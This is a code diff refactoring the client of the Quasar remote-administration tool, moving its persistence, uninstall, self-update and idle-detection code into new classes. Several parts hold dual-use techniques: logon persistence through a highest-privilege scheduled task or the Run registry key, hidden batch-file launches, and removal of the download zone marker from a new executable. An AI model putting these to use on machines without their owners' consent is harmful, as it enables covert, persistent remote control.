@ -90,13 +96,7 @@ public void Install()
|
|||
UseShellExecute = false,
|
||||
FileName = Settings.INSTALLPATH
|
||||
};
|
||||
try
|
||||
{
|
||||
Process.Start(startInfo);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
Process.Start(startInfo);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -0,0 +1,14 @@
|
|||
using Quasar.Client.User;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public abstract class ClientSetupBase
|
||||
{
|
||||
protected UserAccount UserAccount;
|
||||
|
||||
protected ClientSetupBase()
|
||||
{
|
||||
UserAccount = new UserAccount();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,52 @@
|
|||
using Microsoft.Win32;
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Common.Enums;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public class ClientStartup : ClientSetupBase
|
||||
{
|
||||
public void AddToStartup(string executablePath, string startupName)
|
||||
{
|
||||
if (UserAccount.Type == AccountType.Admin)
|
||||
{
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
|
||||
{
|
||||
Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath +
|
||||
"\" /rl HIGHEST /f",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true
|
||||
};
|
||||
|
||||
Process p = Process.Start(startInfo);
|
||||
p.WaitForExit(1000);
|
||||
if (p.ExitCode == 0) return;
|
||||
}
|
||||
|
||||
RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath,
|
||||
true);
|
||||
}
|
||||
|
||||
public void RemoveFromStartup(string startupName)
|
||||
{
|
||||
if (UserAccount.Type == AccountType.Admin)
|
||||
{
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
|
||||
{
|
||||
Arguments = "/delete /tn \"" + startupName + "\" /f",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true
|
||||
};
|
||||
|
||||
Process p = Process.Start(startInfo);
|
||||
p.WaitForExit(1000);
|
||||
if (p.ExitCode == 0) return;
|
||||
}
|
||||
|
||||
RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,42 +1,33 @@
|
|||
using Quasar.Client.Config;
|
||||
using Quasar.Client.IO;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public class ClientUninstaller
|
||||
public class ClientUninstaller : ClientSetupBase
|
||||
{
|
||||
public bool Uninstall(ISender client)
|
||||
public void Uninstall()
|
||||
{
|
||||
try
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
if (Settings.STARTUP)
|
||||
Startup.RemoveFromStartup();
|
||||
|
||||
string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH);
|
||||
|
||||
if (string.IsNullOrEmpty(batchFile))
|
||||
throw new Exception("Could not create uninstall-batch file");
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true,
|
||||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
|
||||
return true;
|
||||
var clientStartup = new ClientStartup();
|
||||
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
||||
string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH);
|
||||
|
||||
if (string.IsNullOrEmpty(batchFile))
|
||||
throw new Exception("Could not create uninstall-batch file.");
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
client.Send(new SetStatus {Message = $"Uninstall failed: {ex.Message}"});
|
||||
return false;
|
||||
}
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true,
|
||||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,9 +1,6 @@
|
|||
using Quasar.Client.Config;
|
||||
using Quasar.Client.IO;
|
||||
using Quasar.Client.Utilities;
|
||||
using Quasar.Common.Helpers;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
|
@ -11,41 +8,33 @@
|
|||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public static class ClientUpdater
|
||||
public class ClientUpdater : ClientSetupBase
|
||||
{
|
||||
public static bool Update(ISender client, string newFilePath)
|
||||
public void Update(string newFilePath)
|
||||
{
|
||||
try
|
||||
FileHelper.DeleteZoneIdentifier(newFilePath);
|
||||
|
||||
var bytes = File.ReadAllBytes(newFilePath);
|
||||
if (!FileHelper.HasExecutableIdentifier(bytes))
|
||||
throw new Exception("No executable file.");
|
||||
|
||||
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
|
||||
|
||||
if (string.IsNullOrEmpty(batchFile))
|
||||
throw new Exception("Could not create update batch file.");
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
FileHelper.DeleteZoneIdentifier(newFilePath);
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true,
|
||||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
|
||||
var bytes = File.ReadAllBytes(newFilePath);
|
||||
if (!FileHelper.HasExecutableIdentifier(bytes))
|
||||
throw new Exception("no pe file");
|
||||
|
||||
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
|
||||
|
||||
if (string.IsNullOrEmpty(batchFile))
|
||||
throw new Exception("Could not create update batch file.");
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true,
|
||||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
|
||||
if (Settings.STARTUP)
|
||||
Startup.RemoveFromStartup();
|
||||
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
NativeMethods.DeleteFile(newFilePath);
|
||||
client.Send(new SetStatus {Message = $"Update failed: {ex.Message}"});
|
||||
return false;
|
||||
var clientStartup = new ClientStartup();
|
||||
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,76 +0,0 @@
|
|||
using Microsoft.Win32;
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.Helper;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public static class Startup
|
||||
{
|
||||
public static bool AddToStartup()
|
||||
{
|
||||
if (WindowsAccountHelper.GetAccountType() == "Admin")
|
||||
{
|
||||
try
|
||||
{
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
|
||||
{
|
||||
Arguments = "/create /tn \"" + Settings.STARTUPKEY + "\" /sc ONLOGON /tr \"" + Application.ExecutablePath + "\" /rl HIGHEST /f",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true
|
||||
};
|
||||
|
||||
Process p = Process.Start(startInfo);
|
||||
p.WaitForExit(1000);
|
||||
if (p.ExitCode == 0) return true;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
|
||||
return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, Application.ExecutablePath,
|
||||
true);
|
||||
}
|
||||
else
|
||||
{
|
||||
return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, Application.ExecutablePath,
|
||||
true);
|
||||
}
|
||||
}
|
||||
|
||||
public static bool RemoveFromStartup()
|
||||
{
|
||||
if (WindowsAccountHelper.GetAccountType() == "Admin")
|
||||
{
|
||||
try
|
||||
{
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
|
||||
{
|
||||
Arguments = "/delete /tn \"" + Settings.STARTUPKEY + "\" /f",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true
|
||||
};
|
||||
|
||||
Process p = Process.Start(startInfo);
|
||||
p.WaitForExit(1000);
|
||||
if (p.ExitCode == 0) return true;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
|
||||
return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY);
|
||||
}
|
||||
else
|
||||
{
|
||||
return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -2,13 +2,12 @@
|
|||
using Quasar.Client.Networking;
|
||||
using Quasar.Common.Enums;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System.Diagnostics;
|
||||
using System;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
namespace Quasar.Client.User
|
||||
{
|
||||
public class UserStatusHandler : MessageProcessorBase<object>
|
||||
public class ActivityDetection : IDisposable
|
||||
{
|
||||
public UserStatus LastUserStatus { get; private set; }
|
||||
|
||||
|
@ -18,36 +17,39 @@ public class UserStatusHandler : MessageProcessorBase<object>
|
|||
|
||||
private readonly CancellationToken _token;
|
||||
|
||||
public UserStatusHandler(QuasarClient client) : base(false)
|
||||
public ActivityDetection(QuasarClient client)
|
||||
{
|
||||
// TODO: handle disconnect
|
||||
_client = client;
|
||||
_tokenSource = new CancellationTokenSource();
|
||||
_token = _tokenSource.Token;
|
||||
client.ClientState += OnClientStateChange;
|
||||
}
|
||||
|
||||
private void OnClientStateChange(Networking.Client s, bool connected)
|
||||
{
|
||||
// reset user status
|
||||
if (connected)
|
||||
LastUserStatus = UserStatus.Active;
|
||||
}
|
||||
|
||||
public void Start()
|
||||
{
|
||||
new Thread(UserIdleThread) { IsBackground = true }.Start();
|
||||
}
|
||||
|
||||
public override bool CanExecute(IMessage message) => false;
|
||||
|
||||
public override bool CanExecuteFrom(ISender sender) => false;
|
||||
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
public void Dispose()
|
||||
{
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_tokenSource.Cancel();
|
||||
}
|
||||
_client.ClientState -= OnClientStateChange;
|
||||
_tokenSource.Cancel();
|
||||
}
|
||||
|
||||
private void UserIdleThread()
|
||||
{
|
||||
while (!_token.IsCancellationRequested)
|
||||
{
|
||||
Thread.Sleep(1000);
|
||||
if (_token.WaitHandle.WaitOne(1000))
|
||||
break;
|
||||
|
||||
if (IsUserIdle())
|
||||
{
|
||||
if (LastUserStatus != UserStatus.Idle)
|
||||
|
@ -65,14 +67,13 @@ private void UserIdleThread()
|
|||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private bool IsUserIdle()
|
||||
{
|
||||
long ticks = Stopwatch.GetTimestamp();
|
||||
var ticks = Environment.TickCount;
|
||||
|
||||
long idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount();
|
||||
var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount();
|
||||
|
||||
idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0);
|
||||
|
|
@ -0,0 +1,38 @@
|
|||
using Quasar.Common.Enums;
|
||||
using System.Security.Principal;
|
||||
|
||||
namespace Quasar.Client.User
|
||||
{
|
||||
public class UserAccount
|
||||
{
|
||||
public string UserName { get; }
|
||||
|
||||
public AccountType Type { get; }
|
||||
|
||||
public UserAccount()
|
||||
{
|
||||
using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
|
||||
{
|
||||
UserName = identity.Name;
|
||||
WindowsPrincipal principal = new WindowsPrincipal(identity);
|
||||
|
||||
if (principal.IsInRole(WindowsBuiltInRole.Administrator))
|
||||
{
|
||||
Type = AccountType.Admin;
|
||||
}
|
||||
else if (principal.IsInRole(WindowsBuiltInRole.User))
|
||||
{
|
||||
Type = AccountType.User;
|
||||
}
|
||||
else if (principal.IsInRole(WindowsBuiltInRole.Guest))
|
||||
{
|
||||
Type = AccountType.Guest;
|
||||
}
|
||||
else
|
||||
{
|
||||
Type = AccountType.Unknown;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -18,16 +18,15 @@ internal struct LASTINPUTINFO
|
|||
[MarshalAs(UnmanagedType.U4)] public UInt32 dwTime;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool DeleteFile(string name);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern IntPtr LoadLibrary(string lpFileName);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
|
||||
|
||||
|
|
|
@ -3,27 +3,60 @@
|
|||
|
||||
namespace Quasar.Client.Utilities
|
||||
{
|
||||
/// <summary>
|
||||
/// A system-wide mutex that ensures that only one instance runs at a time.
|
||||
/// </summary>
|
||||
public class SingleInstanceMutex : IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// The mutex used for process synchronization.
|
||||
/// </summary>
|
||||
private readonly Mutex _appMutex;
|
||||
|
||||
/// <summary>
|
||||
/// Represents if the mutex was created on the system or it already existed.
|
||||
/// </summary>
|
||||
public bool CreatedNew { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Determines if the instance is disposed and should not be used anymore.
|
||||
/// </summary>
|
||||
public bool IsDisposed { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of <see cref="SingleInstanceMutex"/> using the given mutex name.
|
||||
/// </summary>
|
||||
/// <param name="name">The name of the mutex.</param>
|
||||
public SingleInstanceMutex(string name)
|
||||
{
|
||||
_appMutex = new Mutex(false, name, out var createdNew);
|
||||
CreatedNew = createdNew;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Releases all resources used by this <see cref="SingleInstanceMutex"/>.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
if (!IsDisposed)
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Releases the mutex object.
|
||||
/// </summary>
|
||||
/// <param name="disposing"><c>True</c> if called from <see cref="Dispose"/>, <c>false</c> if called from the finalizer.</param>
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (IsDisposed)
|
||||
return;
|
||||
|
||||
if (disposing)
|
||||
{
|
||||
_appMutex?.Dispose();
|
||||
IsDisposed = true;
|
||||
}
|
||||
|
||||
IsDisposed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -0,0 +1,10 @@
|
|||
namespace Quasar.Common.Enums
|
||||
{
|
||||
public enum AccountType
|
||||
{
|
||||
Admin,
|
||||
User,
|
||||
Guest,
|
||||
Unknown
|
||||
}
|
||||
}
|
|
@ -2,7 +2,7 @@
|
|||
{
|
||||
public enum UserStatus
|
||||
{
|
||||
Idle,
|
||||
Active
|
||||
Active,
|
||||
Idle
|
||||
}
|
||||
}
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
namespace Quasar.Common.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles registration of <see cref="IMessageProcessor"/>s and processing of <see cref="IMessage"/>s.
|
||||
/// Handles registrations of <see cref="IMessageProcessor"/>s and processing of <see cref="IMessage"/>s.
|
||||
/// </summary>
|
||||
public static class MessageHandler
|
||||
{
|
||||
|
|
|
@ -3,22 +3,25 @@
|
|||
|
||||
namespace Quasar.Common
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll).
|
||||
/// </summary>
|
||||
public class NativeMethods
|
||||
{
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
internal static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
|
||||
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
internal static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
|
||||
public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
internal static extern int memcpy(IntPtr dst, IntPtr src, uint count);
|
||||
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
internal static extern unsafe int memcpy(void* dst, void* src, uint count);
|
||||
public static extern unsafe int memcpy(void* dst, void* src, uint count);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool DeleteFile(string name);
|
||||
public static extern bool DeleteFile(string name);
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue